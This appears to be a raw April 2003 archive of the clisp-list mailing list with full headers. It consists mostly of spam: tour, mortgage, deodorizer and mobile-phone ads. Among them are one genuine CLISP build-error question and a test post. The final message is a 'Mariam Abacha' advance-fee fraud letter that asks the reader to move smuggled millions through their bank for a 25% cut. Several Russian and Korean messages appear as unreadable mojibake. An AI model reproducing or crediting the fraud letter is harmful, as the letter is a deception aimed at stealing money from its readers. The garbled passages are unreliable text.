********* 40441732-2C3FBC0-F102CB3-22F02121-5BDDC354 ****************** From 31n9@bigfoot.com Mon Apr 21 09:50:12 2003 Received: from [218.152.187.140] (helo=218.152.187.140) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197eUZ-00032P-00 for ; Mon, 21 Apr 2003 09:50:12 -0700 From: 236486@earthlink.net To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=windows-1251 Content-Transfer-Encoding: 8bit X-Mailer: The Bat! (v1.49) Message-ID: 236486@aol.com Subject: [clisp-list] Òóðû â Càíêò-Ïåòåðáóðã ñ 8 ìàÿ. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 21 09:51:05 2003 X-Original-Date: Mon, 21 Apr 2003 11:50:17 -0500
Òóðèñòè÷åñêîå àãåíòñòâî

ÏÐÈÃËÀØÀÅÒ Â ÑÀÍÊÒ-ÏÅÒÅÐÁÓÐÃ (ËÀÉÒ)
Ñ 08 ìàÿ 2003 ãîäà

1 äåíü Îòúåçä èç Ìîñêâû ïî ÷åòâåðãàì â 20:00 íà àâòîáóñå.
2 äåíü Ïðèáûòèå â Ñàíêò-Ïåòåðáóðã. Çàâòðàê. Ýêñêóðñèÿ â ã. Ïåòåðãîô (Öàðñòâî ôîíòàíîâ ñ ïîñåùåíèåì Íèæíåãî ïàðêà). Ïî ïóòè çíàêîìñòâî ñ ñîáîðîì Ïåòðà è Ïàâëà - îáðàçöîì àðõèòåêòóðû " ðóññêîãî ñòèëÿ". Ðàçìåùåíèå â ãîñòèíèöå. Îòäûõ. Ýêñêóðñèÿ ïî ðåêàì è êàíàëàì.
3 äåíü Çàâòðàê. Îáçîðíàÿ ýêñêóðñèÿ "Âåñåííèé Ïåòåðáóðã" ñ îñìîòðîì àðõèòåêòóðíûõ àíñàìáëåé Ïàðàäíîãî Ïåòåðáóðãà, â õîäå êîòîðîé òóðèñòû ïîñåòÿò ëåãåíäàðíûé êðåéñåð "Àâðîðà", îðàíæåðåþ Òàâðè÷åñêîãî ñàäà, Àëåêñàíäðî-Íåâñêóþ Ëàâðó, Êàçàíñêèé ñîáîð, Íèêîëüñêèé ñîáîð, Ýêñêóðñèÿ ïî Ïåòðîïàâëîâñêîé êðåïîñòè - ïåðâîå ñîîðóæåíèå ãîðîäà. Øïèëü ñîáîðà - âûñî÷àéøàÿ òî÷êà ãîðîäà. Ýêñêóðñèÿ â Èñààêèåâñêèé ñîáîð (áåç êîëîííàäû). Âîçâðàùåíèå â ãîñòèíèöó. Íî÷íàÿ ýêñêóðñèÿ "Òàéíû ñïÿùåãî ãîðîäà" ñ ðàçâîäêîé ìîñòîâ.
4 äåíü Çàâòðàê â êàôå ãîñòèíèöû. Îòúåçä îò ãîñòèíèöû. Ïîñåùåíèå ÷àñîâíè Êñåíèè Ïåòåðáóðæñêîé. Ýêñêóðñèÿ â Êðîíøòàäò. Ýêñêóðñèÿ â Èñààêèåâñêèé ñîáîð (áåç êîëîííàäû). Îòúåçä èç Ïåòåðáóðãà â 20:00
5 äåíü Ïðèáûòèå â Ìîñêâó ïî ïîíåäåëüíèêàì â 08:00.

Ñòîèìîñòü òóðà íà ÷åëîâåêà â ðóáëÿõ:
Ãîñòèíèöà* Ïðè 2-õ-ìåñòíîì Äîïëàòà çà 1-ìåñòíûé Ñêèäêà íà 3-åãî â íîìåðå
"Íèâà-ÑÂ" 4.100** 1.200 150
"íà Àâèàêîíñòðóêòîðîâ" 4.000** 1.000 150
"×àéêà" 4.300** 1.000 150
"Îðáèòà" 4.300 1.200 220
"Êàðåëèÿ" 4.800 700 100

*Èëè ðàâíîöåííàÿ
**Îðãàíèçîâàííûì ãðóïïàì ñêèäêà 10 ïðîöåíòîâ

Ñêèäêà äåòÿì - 150 ðóá.

Òåïëîõîäíàÿ ïðîãóëêà ïî ðåêàì è êàíàëàì (1 ÷àñ) - (~)180 ðóá./÷åë.

Íî÷íàÿ ýêñêóðñèÿ "Òàéíû ñïÿùåãî ãîðîäà" ñ ðàçâîäêîé ìîñòîâ. - (~)180 ðóá./÷åë.

Ñòîèìîñòü òóðà âêëþ÷àåò: êîìôîðòàáåëüíûé àâòîáóñ íà ìàðøðóòå, ïðîæèâàíèå â ãîñòèíèöå "Íèâà-ÑÂ" (ñò. ì. "Êèðîâñêèé çàâîä"), â ãîñòèíèöå "×àéêà" (ñò. ì. "Ïðèìîðñêàÿ") èëè â ãîñòèíèöå "íà Àâèàêîíñòðóêòîðîâ" (ñò. ì. "Ïèîíåðñêàÿ") â 2-õ-ìåñòíûõ íîìåðàõ ñ óäîáñòâàìè, ïèòàíèå - çàâòðàêè, ýêñêóðñèîííàÿ ïðîãðàììà, âõîäíûå áèëåòû, ñîïðîâîæäåíèå ãèäîì-ýêñêóðñîâîäîì êàæäûé äåíü.

Ôèðìà îñòàâëÿåò çà ñîáîé ïðàâî èçìåíåíèÿ ýêñêóðñèîííîé ïðîãðàììû ïî äíÿì, ñ óñëîâèåì âûïîëíåíèÿ åå â ïîëíîì îáúåìå.

Ïî âîïðîñàì ïðèîáðåòåíèå ïóò¸âîê îáðàùàòüñÿ ïî òåë. (095) 163-7093, 505-6280

Êîìèññèÿ àãåíòñòâàì 10 ïðîöåíòîâ











***************** 1182751687 35BAB6F7-4E92BD71-2B4F27BA-5A20E80C-4924EC00 From marketing4u@mixmail.com Mon Apr 21 23:27:25 2003 Received: from [210.207.0.8] (helo=p630a) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197rFU-0002mJ-00 for ; Mon, 21 Apr 2003 23:27:24 -0700 Received: from mixmail.com (200-163-002-011.bsace7004.dsl.brasiltelecom.net.br [200.163.2.11] (may be forged)) by p630a (AIX5.1/8.11.0/8.11.0) with SMTP id h3M6QVH39628 for ; Tue, 22 Apr 2003 15:26:32 +0900 Message-Id: <200304220626.h3M6QVH39628@p630a> From: marketing4u@mixmail.com To: clisp-list@lists.sourceforge.net X-Priority: 3 Content-Type: text/html Subject: [clisp-list] Refinance your Home Today! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 21 23:28:04 2003 X-Original-Date: Tue, 22 Apr 2003 15:26:32 +0900

Refinance Today!

10 or 15 year Fixed Conforming 4.630% 1.750% point 4.950% APR
20 or 30 year Fixed Conforming 5.250% 1.500% point 4.950% APR
15 Yr Fixed Jumbo 4.750% 1.000% point 4.930% APR
30 Yr Fixed Jumbo 5.630% 0.250% point 5.670% APR

Conforming Loans are up to $322,700
Jumbo Loans are $322,701 and higher

Rates based on Approved Credit

Email me at:direct_lender@mixmail.com.

Name and Phone:


Sorry Uninterested Click Here
From master@89894.com Tue Apr 22 00:44:59 2003 Received: from [211.221.139.200] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197sSW-0004fo-00 for ; Tue, 22 Apr 2003 00:44:57 -0700 From: =?ks_c_5601-1987?B?vcUgIL/rICDDtg==?= To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] =?ks_c_5601-1987?B?KLGksO0pwve+yMDHILTjueizv7v1v80gPyCzv7v1uKYgsfqy/cfPsNQuLi4hQA==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 22 00:45:05 2003 X-Original-Date: Tue, 4 Mar 2003 04:44:10 +0900

 

(±¤°í)Â÷¾ÈÀÇ ´ã¹è³¿»õ¿Í ? ³¿»õ¸¦ ±ú²ýÇϰÔ...!@

 

 

 

¾ÇÃëÁ¦°Å. °õÆÎÀÌ±Õ ¹ß»ýÁ¦°Å. °¢Á¾

¼¼±Õ ¾ïÁ¦. ½Å¼±µµ Áö¼ÓÀû À¯Áö. ÀÎü¿¡´Â

ÀüÇô ¹«ÇØÇÑ Ãµ¿¬ Ç×±Õ ¾ÇÃë Á¦°ÅÁ¦.

 

 

1. ³ÃÀå°í ³¿»õÁ¦°Å ¹× ½Äǰ ½Å¼±µµ Áö¼Ó À¯Áö.....

 

2. ¿ÊÀå ¼Ó¿¡ °õÆÎÀÌ ³¿»õ Á¦°Å ¹× °õÆÎÀÌ ±Õ Á¦°Å & ¾ïÁ¦.....

 

3. ÁÖ¹æ »ý¼± Æ¢±è ³¿»õ. µÈÀå ¹× Ã»±¹Àå ³¿»õ Áï½Ã Á¦°Å ¹×

    °¢Á¾ ¼¼±Õ Á¦°Å & ¾ïÁ¦.....

 

4. È­Àå½Ç ³¿»õ Á¦°Å ¹× °õÆÎÀÌ ±Õ Á¦°Å & ¾ïÁ¦......

 

5. ½Å¹ßÀå ¾ÇÃë Á¦°Å ¹× ¹ß³¿»õ Á¦°Å ¹«Á»±Õ. Á¦°Å ¹× ¾ïÁ¦.......

 

6. ½Ç³» ´ã¹è ³¿»õ ¹× ¼ú ³¿»õ ±âŸ À½½Ä ¸ðµç³¿»õ.....

 

      Ȩ ÆäÀÌÁö : www.89894.com

 

7. ½Ç³» °¢Á¾ ¾ÇÃëÁ¦°Å ¹× ¶¡³¿»õ. ÄûÄûÇÑ ³¿»õ Á¦°Å.  °õÆÎÀÌ ±Õ

    Á¦°Å ¹× ¾ïÁ¦......

 

8. °íÃþ°Ç¹°ÀÇ °øÁ¶±â ´ÚÆ®³»ÀÇ ¾ÇÃëÁ¦°Å ¹× °¢Á¾ °õÆÎÀÌ ±Õ

    Á¦°Å & ¾ïÁ¦.....

 

9. °¢Á¾ µ¿¹°ÀÇ ºÐ´¢ ³¿»õ ¹×  ¾ÇÃëÁ¦°Å & ³¿»õ Á¦°Å......

 

10. ½Â¿ëÂ÷¾ÈÀÇ ´ã¹è³¿»õ¿Í ÄûÄûÇÑ ³¿»õ¿¡´Â ²À ÇÊ¿äÇÑ

     ³¿»õ Á¦°ÅÁ¦...

 

 

»óÈ£  :  ¼îÇθô

Ȩ ÆäÀÌÁö : www.89894.com

e-mail : master@89894.com

   hp : 011-281-1434

 

 

Ãß»ç : ¿Í»è½º´Â ½Ä¿ëÀ¸·Î »ç¿ëÇÏ´Â ¿Í»çºñÀÇ ¿ø·á ½Ä¹°

         °íÃß³ÃÀÌ¿¡¼­ ¿ø·á¸¦ ÃßÃâÇÏ¿© »ç¿ëÇϹǷΠ¼ø¼öÇÑ

         Ãµ¿¬¿ø·á·Î¼­ ÀÎü¿¡´Â ÀüÇô ¹«ÇØÇϸç, °¢Á¾

         ºÎÆÐ¼º ¹× ¼¼±Õ¼ºÀÇ ¸ðµç ¾ÇÃ븦 Á¦°Å ÇÒ»Ó¸¸

         ¾Æ´Ï¶ó °¢Á¾ ¼¼±ÕÀ»  Á¦°ÅÇÏ´Â È¿°ú°¡ ÀÖÀ¸¸ç ½Ç³»

         °ø±â¸¦ ûÁ¤ÇÏ°Ô À¯Áö½ÃÄÑ ±âºÐÀ» »óÄèÇÏ°Ô ÇØÁØ´Ù.

 

  °¨»ç ÇÕ´Ï´Ù....

 

 

 

 



±ÍÇÏÀÇ À̸ÞÀÏÁÖ¼Ò´Â ÀÎÅͳݼ­ÇÎÁ߾˰ԵǾúÀ¸¸ç, ¸ÞÀÏÁÖ¼ÒÀÌ¿ÜÀÇ ¾î¶°ÇÑ Á¤º¸µµ °¡Áö°í ÀÖÁö ¾Ê½À´Ï´Ù. ¸ÞÀϼö½ÅÀ» ¿øÇÏÁö ¾ÊÀ»°æ¿ì [¼ö½Å°ÅºÎ]¸¦ ´­·¯Áֽʽÿä.. °¨»ç ÇÕ´Ï´Ù. If you feel that this information is not what you want, please click [HERE] requesting to be removed. Thank you, and we apologize for any inconvenience.

From herve.blanchon@imag.fr Tue Apr 22 08:53:27 2003 Received: from imag.imag.fr ([129.88.30.1]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19805E-0001Pc-00 for ; Tue, 22 Apr 2003 08:53:24 -0700 Received: from isis.imag.fr (isis.imag.fr [129.88.32.24]) by imag.imag.fr (8.12.9/8.12.8) with ESMTP id h3MFrKuS010881; Tue, 22 Apr 2003 17:53:20 +0200 (CEST) Received: from imag.fr (hakkin.imag.fr [129.88.32.59]) by isis.imag.fr (8.11.6/8.11.3/ImagV2) with ESMTP id h3MFrK009240; Tue, 22 Apr 2003 17:53:20 +0200 (MEST) Content-Type: multipart/alternative; boundary=Apple-Mail-40--294845182 Mime-Version: 1.0 (Apple Message framework v552) Cc: =?ISO-8859-1?Q?Blanchon_Herv=E9?= To: clisp-list@lists.sourceforge.net From: =?ISO-8859-1?Q?Herv=E9_Blanchon?= Message-Id: <896E9434-74DA-11D7-BC97-000393556366@imag.fr> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Building clips 2.30 on jaguar : problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 22 08:54:20 2003 X-Original-Date: Tue, 22 Apr 2003 17:53:18 +0200 --Apple-Mail-40--294845182 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; format=flowed Dear all, I am trying to build clips 2.30 on my PowerBook G4 with Mac OS X 10.2.5 1) I first got some error in the log while doing the configuration :=20 problems with the "avcall-rs6000.c" file but it did not seemed to=20 harmfull for the process. 2) I was then prompted with how to continue, however with a problem of=20 stack size I was not able to solve. # The default stack size on your platform is insufficient # and must be increased to at least 8192. You must do either # 'ulimit -s 8192' (for Bourne shell derivarives, e.g., bash and=20 zsh) or # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh) The commands were not understood by my bash shell. 3) The "./makemake > Makefile" went fine. 4) The "make config.lisp" went fine also 5) I edited the config.lisp file to set up an editor and the site names 6) The make went bad. gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type =20 -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE=20= -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c lispbibl.d:1950: unbalanced #endif lispbibl.d:6683: unterminated #else conditional spvw_objsize.d:110: unterminated #else conditional make: *** [spvw.o] Error 1 So I made it step by step. make inti delivered the following message "test -d bindings || mkdir -p=20= bindings" make allc delivered the following message "test -d bindings || mkdir -p=20= bindings" make lisp.run delivered the following error message : gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type =20 -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE=20= -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c lispbibl.d:1950: unbalanced #endif lispbibl.d:6683: unterminated #else conditional spvw_objsize.d:110: unterminated #else conditional make: *** [spvw.o] Error 1 Thank you for any help. Amiti=E9s, Herv=E9. --------------------- Herve BLANCHON E.Mail : Herve.Blanchon@imag.fr GETA-CLIPS IMAG-Campus, BP 53, F-38041 Grenoble Cedex 9, FRANCE Telephone : +33 4 76 51 43 59 Fax : +33 4 76 44 66 75 ---------------------= --Apple-Mail-40--294845182 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=ISO-8859-1 GenevaDear all, I am trying to build clips 2.30 on my PowerBook G4 with Mac OS X 10.2.5 1) I first got some error in the log while doing the configuration : problems with the "avcall-rs6000.c" file but it did not seemed to harmfull for the process. 2) I was then prompted with how to continue, however with a problem of stack size I was not able to solve.=20 Courier# The default stack size on your platform is insufficient # and must be increased to at least 8192. You must do either # 'ulimit -s 8192' (for Bourne shell derivarives, e.g., bash and zsh) or # 'limit stacksize 8192' (for C shell derivarives, e.g., = tcsh)Geneva The commands were not understood by my bash shell. 3) The "./makemake > Makefile" went fine. 4) The "Couriermake config.lispGeneva" went fine also 5) I edited the = Courierconfig.lispGeneva file to set up an editor and the site names 6) The = CouriermakeGeneva went bad. Couriergcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=20 -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c lispbibl.d:1950: unbalanced #endif lispbibl.d:6683: unterminated #else conditional spvw_objsize.d:110: unterminated #else conditional make: *** [spvw.o] Error 1Geneva So I made it step by step. Couriermake intiGeneva delivered the following message "Couriertest -d bindings || mkdir -p bindingsGeneva" Couriermake allcGeneva delivered the following message "Couriertest -d bindings || mkdir -p bindingsGeneva" Couriermake lisp.runGeneva delivered the following error message : Couriergcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=20 -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c lispbibl.d:1950: unbalanced #endif lispbibl.d:6683: unterminated #else conditional spvw_objsize.d:110: unterminated #else conditional make: *** [spvw.o] Error 1 Geneva Thank you for any help. Amiti=E9s, Herv=E9. --------------------- Herve BLANCHON E.Mail : Herve.Blanchon@imag.fr GETA-CLIPS IMAG-Campus, BP 53, F-38041 Grenoble Cedex 9, FRANCE Telephone : +33 4 76 51 43 59 Fax : +33 4 76 44 66 75 ---------------------= --Apple-Mail-40--294845182-- From e52rscj@hotmail.com Tue Apr 22 16:29:04 2003 Received: from [218.95.227.249] (helo=218.95.227.249) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1987CB-0004ic-00 for ; Tue, 22 Apr 2003 16:29:04 -0700 From: 236510@delphi.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: ELM [version 2.4 PL25] Message-ID: 1589524566@delphi.com Subject: [clisp-list] MOTOROLA T720i ÃÅÎÁ:229$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 22 16:30:01 2003 X-Original-Date: Tue, 22 Apr 2003 18:29:21 -0500 MOTOROLA T720i ÃÅÎÁ: 229$ îÏ×ÙÅ, ÇÁÒÁÎÔÉÑ 1ÇÏÄ, ÄÏÓÔÁ×ËÁ ÐÏ íÏÓË×Å. ú×ÏÎÉÔÅ 517-1432

÷ÎÕÔÒÅÎÎÉÊ ÄÉÓÐÌÅÊ - CSTN Ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ, 120x160 ÐÉËÓÅÌ, 4096 Ã×ÅÔÏ×

÷ÎÅÛÎÉÊ ÍÏÎÏÈÒÏÍÎÙÊ ÄÉÓÐÌÅÊ - 96 x 32 ÐÉËÓÅÌ

ðÏÌÎÁÑ ÒÕÓÓÉÆÉËÁÃÉÑ, ×ËÌÀÞÁÑ ËÌÁ×ÉÁÔÕÒÕ (ÐÏÄÄÅÒÖËÁ UTF8, UCS2 & ASCII)

GPRS 1Up/4Down

WAP 1.2.1 ÍÉËÒÏÂÒÁÕÚÅÒ ×ËÌÀÞÁÑ M-services, WML 1.3

Windows-ÐÏÄÏÂÎÏÅ ÍÅÎÀ ÉÚ ÁÎÉÍÉÒÏ×ÁÎÎÙÈ ÉËÏÎÏË, Synergy Lite ÐÏÌØÚÏ×ÁÔÅÌØÓËÉÊ ÉÎÔÅÒÆÅÊÓ

EMS v. 5.0 - ÚÁÇÒÕÖÁÅÍÙÅ ËÁÒÔÉÎËÉ WBPM, GIF89, ÁÎÉÍÁÃÉÑ GIF89A É ÍÅÌÏÄÉÉ iMelody v.1.2

SMS É SMS-ÞÁÔ ÆÏÒÕÍ

ðÏÄÄÅÒÖËÁ kJava (J2ME) ÐÒÉÌÏÖÅÎÉÊ (1 Mb ÄÌÑ ÚÁÇÒÕÚËÉ). úÁÇÒÕÖÁÅÍÙÅ ÍÅÌÏÄÉÉ Ú×ÏÎËÏ×, J2ME ÉÇÒÙ, ÉËÏÎËÉ É ÚÁÓÔÁ×ËÉ

÷ÓÔÒÏÅÎÎÙÊ E-mail ËÌÉÅÎÔ, ÐÏÌÕÞÅÎÉÅ E-mail ÞÅÒÅÚ SMS (POP3)

300 K ÄÌÑ ÷ÁÛÅÇÏ EMS-ËÏÎÔÅÎÔÁ É ÜÌÅËÔÒÏÎÎÏÊ ÐÏÞÔÙ

MIDI ÐÏÌÉÆÏÎÉÞÅÓËÉÊ ÄÉÎÁÍÉË (16 ÔÏÎÏ×, 128 ÉÎÓÔÒÕÍÅÎÔÏ×)

óÍÅÎÎÙÅ Ã×ÅÔÎÙÅ ÐÅÒÅÄÎÑÑ É ÚÁÄÎÑÑ ÐÁÎÅÌÉ (ÁËÓÅÓÓÕÁÒ)

PIM ÆÕÎËÃÉÉ: ðÏÌÎÏÃÅÎÎÙÊ ÏÒÇÁÎÁÊÚÅÒ Ó ÎÁÐÏÍÉÎÁÎÉÑÍÉ, ÚÁÐÉÓÎÁÑ ËÎÉÇÁ, ËÁÌÅÎÄÁÒØ, ËÏÎ×ÅÒÔÏÒ ×ÁÌÀÔ, ËÁÌØËÕÌÑÔÏÒ, ÂÕÄÉÌØÎÉË.

ðÒÉÓ×ÏÅÎÉÅ ÍÅÌÏÄÉÊ × ÚÁÐÉÓÎÏÊ ËÎÉÖËÅ

ôÅÌÅÆÏÎÎÁÑ ËÎÉÇÁ ÄÏ 500 ÎÏÍÅÒÏ×

äÉËÔÏÆÏÎ ÎÁ 1 ÍÉÎÕÔÕ

âÕÄÉÌØÎÉË, ËÁÌØËÕÌÑÔÏÒ, ËÏÎ×ÅÒÔÅÒ ×ÁÌÀÔ

42 ÓÔÁÎÄÁÒÔÎÙÈ É 42 ÒÅÄÁËÔÉÒÕÅÍÙÈ SMS ÍÅÌÏÄÉÉ iMelody (v.1.2) ÐÌÀÓ 5 ×ÙÒÉÁÎÔÏ× ×ÉÂÒÏÚ×ÏÎËÏ×

8 ÉÇÒ - 5 ÐÒÅÄÕÓÔÁÎÏ×ÌÅÎÎÙÈ É 3 pre-loaded J2ME™

çÏÌÏÓÏ×ÏÅ ÕÐÒÁ×ÌÅÎÉÅ ÎÁÂÏÒÁ É ÕÐÒÁ×ÌÅÎÉÅ ÍÅÎÀ

USB ÐÏÄËÌÀÞÅÎÉÅ Ë ËÏÍÐØÀÔÅÒÕ ÄÌÑ ÓÉÎÈÒÏÎÉÚÁÃÉÉ ÓÏ ×ÓÅÉÍ ïó É ÄÏÓÔÕÐÁ × éÎÔÅÒÎÅÔ ÓÏ×ÍÅÓÔÎÏ Ó ðï Starfish TrueSync™ Desktop ÄÌÑ ÓÉÎÈÒÏÎÉÚÁÃÉÉ ÔÅÌÅÆÏÎÎÏÊ ËÎÉÇÉ ÍÅÖÄÕ ÓÏÔÏ×ÙÍ ÔÅÌÅÆÏÎÏÍ É ËÏÍÐØÀÔÅÒÏÍ (ÁËÓÅÓÓÕÁÒ)

óÔÅÒÅÏ FM-ÒÁÄÉÏ ÇÁÒÎÉÔÕÒÁ É ÓÔÅÒÅÏ MP3-ÐÌÅÊÅÒ ÇÁÒÎÉÔÕÒÁ (ËÁË ÁËÓÅÓÓÕÁÒ)

åÓÔØ ÍÎÏÇÏ ÄÒÕÇÉÈ ÔÅÌÅÆÏÎÏ×:

siemens m50 99$
siemens sl45i 185$
siemens sl42 157$
sonyericsson T68I 229$
trium eclipst (Ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ ,ÐÏÌÉÆÏÎÉÑ,GPRS) 105$
motorola T720i 229$
motorola V70 229$
samsung s100 339$
siemens s55 275$
nokia6610- 275$
nokia7250 440$
nokia7210 315$
nokia3650 379$
sonyericsson T300 215$ Ó ÆÏÔÏËÁÍÅÒÏÊ
ÂÅÓÐÒÏ×ÏÄÎÁÑ ÇÁÒÎÉÔÕÒÁ sony ericsson Bluetooch HBH30-130$
íôó-ïðôéíá ÃÅÎÁ 480ÒÕÂ ÎÁ ÓÞÅÔÕ 1000ÒÕÂ
íôó-âéúîåó 600 ÍÏÓËÏ×ÓËÉÊ ÎÏÍÅÒ ÃÅÎÁ 1550ÒÕÂ. ÎÁ ÓÞÅÔÕ 3150ÒÕÂ.
×ÏÚÍÏÖÎÏ ÐÏÄËÌÀÞÅÎÉÅ Ë ÍÔÓ ÓËÉÄËÁ 50 From kavun@ich.dvo.ru Tue Apr 22 16:43:47 2003 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1987QN-0001E7-00 for ; Tue, 22 Apr 2003 16:43:43 -0700 Received: from KAVUN ([192.168.8.32]) by chemi.ich.dvo.ru (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id h3MNgf303033 for ; Wed, 23 Apr 2003 10:42:41 +1100 From: kavun@ich.dvo.ru X-Mailer: The Bat! (v1.44) Reply-To: Valery Kavun Organization: ICH X-Priority: 3 (Normal) Message-ID: <1073970258.20030423104351@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] test-message from nonsubscribed address Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 22 16:44:09 2003 X-Original-Date: Wed, 23 Apr 2003 10:43:51 +1000 Hi. From mariam_aba@indiatimes.com Wed Apr 23 14:21:43 2003 Received: from host-66-133-54-188.verestar.net ([66.133.54.188] helo=coolre41824.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198RgO-0002Lu-00 for ; Wed, 23 Apr 2003 14:21:36 -0700 From: "Mrs Mariam Abacha" Reply-To: mariam_aba@indiatimes.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===_SecAtt_000_1fkbrplyremmtf" Message-Id: Subject: [clisp-list] PROVISION OF BANK ACCOUNT TO DEPOSIT FUNDS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 23 14:22:20 2003 X-Original-Date: Wed, 23 Apr 2003 14:21:25 -0700 --===_SecAtt_000_1fkbrplyremmtf Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Dear Sir=2C It is with a heart full of hope that I write you=2C my name is Mariam Abacha=2C the wife of the late Nigerian President =28Gen=2E Ibrahim Sani Abacha=29=2E During my husband's reign as a president most of his activities=2C especially his financial involvement and transactions=2C I'm always involved because of my educational qualification as an economist=2E Events happened so fast in 1998 that the death of my husband was announced=2E Since then my family had been in shamble=2EThe next government that moved to power=2C due to hatred that exist between them and my husband=2C they seized all our assets=2C freezed all our account both home and abroad=2E In 1999 my first son=22MUSTAPHA=22 tried to move out of the country with some boxes containing money =28U=2ES$ dollars=29 but unfortunately he was napped by the govt officials at the Airport and all the money was seized=2E Since then all the family travelling document has been seized from us and we have been put under heavy surveillance=2E You can confirm this inweb site at www=2ENigeria=2Ecom on abacharecovredloot=2Fwww=2Ethisdayonline=2Ecom My first son has been apprehended by the present govt for murder case which he know nothing about just to tell you how we have been molesed by the present govt=2E As God may have it my son did not move out with all the boxes=2C Two of the boxes were left and when I heard of her problem at the airport=2C I smartly removed the remaining boxes=2E Since it appears that it was the only money left for the running of the family=2E With the help of a good family friend I smuggled the boxes which contains US$60M dollars out and deposited it with a security company=2C of which I declared it to them as family embodiment and Antiquities=2E I have acquainted my son about the latest development and he was so pleased with it=2E But he advice me to be very careful with the money because that is the last hope of the family since our money has been seized and also our businesses=2C but I don't know why my family=2C should be going through all this kind of troubles=3F Our main reason of writing you is for you to come to our rescue of securing this money to your country of which we will all move there to start a new life=2E What we need from you is to move the money from the Security Company and transfer it through a bank to your own country=2C as you know that we cannot present the money ourselves to a bank here in Africa as we are under surveillance=2E I have agreed with my family members to give to you 25% of the total amount and also you will be a signatory to any of our investment abroad=2E Thanks and God bless=2E Awaiting your soonest reply=2E Yours sincerely=2C MARIAM ABACHA=2E --===_SecAtt_000_1fkbrplyremmtf Content-Type: application/octet-stream; name="anayo1.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="anayo1.txt" 